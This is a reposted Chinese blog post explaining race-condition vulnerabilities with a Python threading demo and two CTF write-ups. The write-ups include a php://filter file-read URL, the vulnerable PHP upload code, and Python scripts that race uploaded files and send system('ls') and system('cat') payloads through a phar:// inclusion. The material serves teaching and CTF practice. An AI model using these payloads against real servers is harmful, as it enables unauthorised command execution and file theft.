條件競爭(race condition)


   條件競爭漏洞是一種服務器端的漏洞,由於服務器端在處理不同用戶的請求時是並發進行的,因此,如果並發處理不當或相關操作邏輯順序設計的不合理時,將會導致此類問題的發生。

參考了一些資料,發現一個比較能說明問題的實例。

 

#-*-coding:utf-8-*-
import threading
COUNT = 0

def Run(threads_name):
    global COUNT
    read_value = COUNT
    print "COUNT in Thread-%s is %d" % (str(threads_name), read_value)
    COUNT = read_value + 1

def main():
    threads = []
    for j in range(10):
        t = threading.Thread(target=Run,args=(j,))
        threads.append(t)
        t.start()
    for i in range(len(threads)):
        threads[i].join()
    print ("Finally, The COUNT is %d" % (COUNT,))

if __name__ == '__main__':
    main()

 

運行結果:

 

 按照我們的預想,結果應該都是10,但是發現結果可能存在非預期解,並且出現非預期的概率還挺大的。

這是什么原因呢?

原因就在於我們沒有對變量COUNT做同步制約,導致可能Thread-7在讀COUNT,還沒來得及更改COUNT,Thread-8搶奪資源,也來讀COUNT,並且將COUNT修改為它讀的結果+1,由此出現非預期。

同樣的,WEB應用程序因為要為很多用戶服務,勢必要采用多線程,但是,如果種種原因導致線程間的同步機制沒處理好,那么也就會導致非預期和條件競爭的漏洞。

條件競爭在CTF中也有過一些題。

1.moctf

打開網址后一直打開的是index2.php 修改為index.php后發現還是會跳轉到index2 抓包修改index.php。

發現index.php是一個302網頁,因此就可以看到這里存在的一個文件uploadsomething.php。

隨便填寫文件名下面寫入代碼,再進行提交。

訪問后

因此這里就需要用到條件競爭,不斷的向網站發送請求,然后邊發送邊訪問。

寫入一個py文件一直發requests即可

import requests
url="http://119.23.73.3:5006/web2/uploads/b106f91010a3789acab1f27a00d67570052a7921/1.php"
while 1:
    print (requests.get(url).text)

 

2.XMAN-Easy Gallery

偽協議讀取代碼

http://202.112.51.184:8004/index.php?page=php://filter/read=convert.base64-encode/resource=upload.php
<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允許的文件類型!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允許的文件類型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
                echo "<script language='JavaScript'>alert('文件移動失敗!');window.location='index.php?page=submit'</script>";
                exit;
            }
            else{
                sleep(5);
                if ($type=='image/jpeg')
                {
                    $im = @imagecreatefromjpeg($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagejpeg($im,$new_rootpath);
                    }
                }
                else if ($type=='image/gif')
                {
                    $im = @imagecreatefromgif($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagegif($im,$new_rootpath);
                    }
                }
                unlink($rootpath);
            }
        }
        echo "圖片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>

首先是驗證上傳的文件是否為圖片格式,如果上傳了正確的圖片,imagecreatefromjpeg()返回圖像資源,文件名更換為新的時間戳,用新的文件路徑$new_rootpath輸出圖片,最后刪除原文件unlink($rootpath);如果上傳了不正確的圖片,不會更換新的文件路徑,最后還要刪除源文件unlink($rootpath);上傳過程中存在一個延時函數sleep(5),所以上傳的文件即使驗證不成功也有5秒鍾的時間存在。

解法:

隨后用Python訪問鏈接

import requests
import time
id = int(time.time())
s=requests.session()
data0={'v':"phpinfo();",}
data1={
    'v':"system('ls');"
}
data2={
    'v':"system('cat xxxxxxxxxasdasf_flag.php');"
}
while 1:
    for i in range(id-50,id+50):
        url = 'http://202.112.51.184:9005/index.php?page=phar://./uploads/' + str(i) + '.jpg/v'
        t=s.post(url,data=data1).content
        print i
        if 'flag' in t:
            print t
            break

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM